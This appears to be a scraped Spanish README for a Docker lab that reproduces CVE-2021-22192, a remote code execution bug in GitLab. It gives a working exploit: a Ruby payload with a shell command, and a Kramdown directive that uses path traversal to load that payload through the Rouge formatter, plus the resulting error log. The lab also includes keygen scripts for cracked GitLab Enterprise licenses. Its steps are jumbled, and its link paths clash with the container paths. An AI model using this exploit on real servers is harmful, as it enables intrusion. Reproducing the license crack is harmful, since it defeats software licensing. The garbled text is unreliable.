
CVE-2021-22192 Laboratorio: Vulnerabilidad RCE para usuarios no autorizados
CVE-2021-22192 laboratorio: Vulnerabilidad RCE para usuarios no autenticados
CVE-2021-22192
├── README.md ............... [este README]
├── imgs .................... [imágenes complementarias para el README]
├── gitlab .................. [directorio de montaje del contenedor Gitlab]
│ ├── Dockerfile .......... [archivo Docker para construir Gitlab]
│ ├── config .............. [directorio de montaje de configuración de Gitlab]
│ ├── data ................ [directorio de montaje de datos de Gitlab]
│ ├── logs ................ [directorio de montaje de logs de Gitlab]
│ ├── keys ................ [directorio de almacenamiento de licencias crackeadas de Gitlab]
│ └── nginx ............... [directorio de configuración de nginx interno de Gitlab (copia de seguridad, no modificar)]
├── runner .................. [directorio de montaje del contenedor Gitlab]
├── license ................. [directorio de construcción del contenedor para crackear la licencia]
│ ├── Dockerfile .......... [archivo Docker para la licencia]
│ └── license.rb .......... [script Ruby para generar licencias crackeadas]
├── test .................... [directorio de depuración de Kramdown]
├── docker-compose.yml ...... [archivo de configuración de Docker Compose]
├── keygen.ps1 .............. [Windows: generar licencia crackeada con un solo clic]
├── keygen.sh ............... [Linux: generar licencia crackeada con un solo clic]
├── run.ps1 ................. [Windows: ejecutar el laboratorio Gitlab con un solo clic]
├── run.sh .................. [Linux: ejecutar el laboratorio Gitlab con un solo clic]
├── register.ps1 ............ [Windows: registrar Runner con un solo clic]
├── register.sh ............. [Linux: registrar Runner con un solo clic]
├── stop.ps1 ................ [Windows: detener el laboratorio Gitlab con un solo clic]
└── stop.sh ................. [Linux: detener el laboratorio Gitlab con un solo clic]
./keygen.sh o ./keygen.ps1./run.sh o ./run.ps1Al generar el par de claves crackeadas anteriormente, la clave pública ya se ha escrito en el contenedor de Gitlab. Ahora necesita cargar la clave privada a través del frontend para completar el crackeo:
./gitlab/keys/, copie el contenido de .gitlab-license (clave privada)Enter license key, pegue la clave privada y haga clic en Upload license para completar el crackeo
./register.sh $TOKEN o ./register.ps1 $TOKENA partir de ahora, todos los repositorios pueden usar este Runner para ejecutar scripts de CI (Pipeline Jobs)

Suponga que su nombre de usuario de Gitlab es ${username} y el nombre del repositorio es ${repository_name}. Una vez que el repositorio haya construido correctamente el SSG con jekyll, solo necesita acceder a la siguiente URL:
http://127.0.0.1:8000/${username}/${repository_name}/public/
Consulte hackerone para el proceso detallado.
+ -> New snippet en la parte superior.Title, ponga lo que quiera. Haga clic en el cuadro de entrada de Description (optional), luego haga clic en Attach a file y cargue un archivo llamado payload.rb con el siguiente contenido:puts "hello from ruby"
`echo exp was here > /tmp/exp`
En ese momento, en Description (optional) aparecerá un enlace al archivo, por ejemplo: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb). El archivo se habrá cargado en el contenedor docker_gitlab en /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (No es necesario hacer clic en Create snippet; solo recuerde el hash de la ruta del archivo)
Nota: No cree el snippet a través de
Snippet -> New snippeten la barra lateral izquierda de un repositorio específico, de lo contrario la ruta mostrada se convertirá en[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)pero la ruta real en el contenedor docker_gitlab se convertirá en/var/opt/gitlab/gitlab-rails/uploads/@hash/cadena aleatoria/payload.rb, lo cual es difícil de explotar debido a la cadena aleatoria.
+ New Project en la parte superior, asígnele un nombre cualquiera (por ejemplo, poc, o si no crea uno, puede usar un repositorio existente).Wiki en la izquierda, luego haga clic en Create your first page.Title y Content como desee y haga clic en Create page.poc actual, llamado poc.wiki (haga clic en Clone repository en la esquina superior derecha para encontrar el comando clone: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki para descargar el repositorio wiki localmente.{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 creada localmente, haga clic en ella./tmp/exp ya se ha creado.Después de hacer clic en la página
page1.rmd, puede ver mensajes de error engitlab/logs/gitlab-rails/exceptions_json.log, pero esto no afecta la ejecución del comando:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}
page1.rmd con el siguiente contenido (reemplace el hash en la ruta con el hash obtenido anteriormente):